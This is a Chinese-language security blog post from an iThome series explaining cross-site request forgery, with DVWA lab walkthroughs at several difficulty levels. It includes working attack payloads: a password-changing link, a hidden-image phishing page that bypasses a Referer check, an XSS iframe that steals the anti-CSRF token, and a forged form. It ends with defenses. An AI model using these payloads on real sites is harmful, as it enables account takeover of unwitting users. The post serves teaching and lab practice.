iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 9
0
Security

資訊安全的美味雜炊系列 第 9

[Day9] - CSRF(Cross Site Request Forgery)

  • 分享至 

  • xImage
  •  

Day9 - CSRF(Cross Site Request Forgery)

前言

  • 今天來介紹CSRF這個攻擊手法,寫到現在有一點精神疲勞,但還沒放棄

這是甚麼

  • 在2013的OWASP-TOP10排名第8

  • CSRF中文為跨站請求偽造,攻擊者通過一些手段(ex: xss, 社交工程...),騙使用者去瀏覽一個曾經認證過的網站並執行非預期的操作

    • 由於瀏覽器曾經認證過這個網站,所以被存取的網站會以為是真正用戶操作而去執行非預期的行為
  • 大概流程

    1. 使用者瀏覽想要的目標網站(藉此留下原先的cookies, 或各種憑證)
    2. 駭客架設惡意網站,連線到目標網站
    3. 駭客利用社交工程提供連結或按鈕,欺騙使用者到惡意網站瀏覽,但惡意網站卻連到目標網站
    4. 因為有些目標網站可能需要一些授權,透過使用者瀏覽惡意網站,把使用者瀏覽器中的cookies或憑證,一起帶目標網站
      • 因為有了這些憑證,目標網站以為是合法的請求,但其實是發送了駭客在惡意網站中的內容
  • 示意圖

跟XSS有甚麼不一樣

  • CSRF都是跨站的請求攻擊,但CSRF不一定要透過XSS手法
    • 像是使用者隨便點下連結,可以在沒有執行javascript的情況下,就達到攻擊的目的

來個CSRF範例 - DVWA

目標

  • 竄改別的使用者的密碼

CSRF(LOW)

code

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

?>
  • 看一下code,發現沒對任何東西做驗證

    • 於是我們用burp攔下封包
      • 發現沒有進行任何檢查,能夠透過社交工程把帳戶密碼改掉
  • 所以構造這個連結給別人點,就把別人密碼給改了XD

http://<url>:port/vulnerabilities/csrf/?
password_new=<your_want>&
password_conf=<your_want>&
Change=Change

CSRF(Medium)

code

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}

?> 
// Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
  • 因為只檢查連結中是否含有server_name,因此構造一個檔名是server_name的html

    • 架設一個釣魚網站,檔名就取成server_name
    <img src="http://<url>:<port>/vulnerabilities/csrf/?password_new=<your_want>&password_conf=<your_want>&Change=Change" border="0" style="display:none;"/>
    
    <h1>404<h1>
    
    <h2>file not found.<h2>
    
    • 釣魚網站連結
    http://<駭客伺服器位置>/<server_name>.html
    

CSRF(High)

code

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>
  • 多了驗證Token

    • 當發出request時,server會return token給你,token正確,server才會理你
    • 所以必須先把token拿出來
  • 這邊要利用XSS那關

    • 將以下payload丟到能XSS的地方,接著把token會alert出來,在利用token竄改密碼
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
  • 構造一個網頁表單,輸入你想要改的密碼
    • 把token填入,發送request,若回傳password changed代表更改成功
<form id="myform" action="http://<server_name>/vulnerabilities/csrf/" method="GET">
	<input type="hidden" value="bbbb" name="password_new"><br />
	<input type="hidden" value="bbbb" name="password_conf"><br />
	<br />
	<span style= "display:block">
		token:<input type='text' name='user_token' value='<token_you_steal>' />
		<input type="submit" value="change password" name="Change" >
	</span>
</form>

CSRF(Impossible)

  • 要求用戶輸入原本的密碼,才能修改密碼
    • 二次較驗的方式降低CSRF的攻擊

防禦

  • 增加操作前的確認畫面
    • 像是輸入密碼、發送電子郵件做確認
  • 在頁面表單中加上CSRF token,value由server隨機產生放在server的session中
    • 按提交之後,伺服器會核對csrftoken與自己session存的是否相同
<input type="hidden" name="csrftoken" value="fkjsd;lfjasld">

ref


上一篇
[Day8] - PHP(Deserailize)
下一篇
[Day10] - SSRF(Server-Side Request Forgery)(1)
系列文
資訊安全的美味雜炊30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言